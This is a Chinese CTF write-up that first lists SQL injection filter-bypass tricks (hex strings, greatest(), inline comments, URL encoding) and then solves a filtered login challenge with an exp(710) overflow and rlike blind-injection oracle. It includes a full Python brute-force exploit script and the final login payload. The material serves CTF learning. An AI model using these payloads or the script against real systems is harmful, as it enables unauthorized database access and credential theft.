文章目录
- 总结一下sql注入常见的绕过姿势
- 题目分析
- 编写exp
关于sql注入的绕过姿势
对于空格的绕过
对于引号的绕过
- 用十六进制绕过
| select column_name from information_schema.tables where table_name="users"
|
十六进制替换后 | select column_name from information_schema.tables where table_name=0x7573657273
|
对于逗号的绕过
比较符号(<>)绕过(过滤了<>:sqlmap盲注经常使用<>,使用between的脚本
- 可以使用greatest()、least()(前者返回最大值,后者返回最小值)
| select * from users where id=1 and ascii(substr(database(),0,1))>64
|
替换后为下面语句
| select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
|
大小写绕过
双写绕过
=号的绕过
内联注释绕过:
| id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#
|
通用绕过(编码)
| or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
|
- 题目分析
拿到源码审计后可以发现几乎将所有的可用的注入方法都过滤掉了,然而笨比我还企图绕过各种过滤进行insert的报错注入,也试过异或注入,但是各种注入都需要同时绕过一些标点符号,始终构造不出来,最终发现常规的注入不太现实。
| if(preg_match('/union|select|or|and|\'|"|sleep|benchmark|regexp|repeat|get_lock|count|=|>|<| |\*|,|;|\r|\n|\t|substr|right|left|mid/i', $str)){ die('Hack detected'); }
|
看到源码可以发现最重要的地方在于得到admin用户名的code,所以这个地方应该可以通过注入获得code的值,然后得到flag
后来问了一下大佬才发现可以用exp(710)的溢出报错简单来说指数函数为对数函数的反函数,exp()即为以e为底的对数函数,但当传递一个大于709的值时,函数exp()就会引起一个溢出错误。并且还会用到rlike,rlike后面是正则语句,返回0或1,则可以构造 ==||exp(710-(… rlike … ))== 。 下图是在本地复现,rlike可以匹配age中含有1的,返回1则为exp(709)不报错。
当匹配不到返回0则exp(710)报错
到这里题目思路就出来了
| > - 'username' : "admin\\" 转义单引号造成错误闭合 > - 'password' : "||exp(710-(code rlike binary ....))#" 其中空格用编码绕过(chr(0x0c),引号用十六进制绕过 > - "code" : 1
|
题目限制了只有四个十六进制的数大小,则不能一个个爆破,但思路已经出来了,剩下就是写脚本了.
但是还有一个值得注意的问题就是因为rlike是对所有的进行匹配不是从开头,所以匹配过程中可能会出现多解,这个后面会说到
| function num_waf($str){ if(preg_match('/\d{9}|0x[0-9a-f]{9}/i',$str)){ die('Huge num detected'); } }
|
exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| import requests import string import binascii def transfer_to_hex(num): return ''.join([hex(ord(c)).replace('0x', '') for c in num]) def exp(): part = 'erg' result = 'erg' count = 0 temp = '' alphabet = string.digits + string.ascii_letters url = 'http://4e2056fd-b5b8-4e3c-b3df-86d99baa43c9.node3.buuoj.cn' while(True): temp = transfer_to_hex(part) count = 0 for j in alphabet: s = transfer_to_hex(j) payload = "||exp(710-(code rlike binary 0x" + temp + s + "))#" payload = payload.replace(' ',chr(0x0c)) data = { "username": "admin\\", "password": payload, "code": "1" } res = requests.post(url + "/login.php", data=data, allow_redirects=False) if ('fail' in res.text): count = count + 1 if count > 1: print("1: " + result ) print("2: " + result[:-1] + j) else: part = part[1:] + j result = result + j print(result) exp()
|
这个地方要先跑出前几个字符
然后用前三个第四个,第四个推第五个以此类推,但这里确实出现了多解,交换数字字母表的顺序会跑出来两种结果
仔细观察一下第一种结果后面形成了一种死循环则gh2u应该在gh23前面,则可以推测出code最终为
- erghruigh2uygh23uiu32ig
最后用admin\账号登录 密码用||1# 验证码用erghruigh2uygh23uiu32ig即可获得flag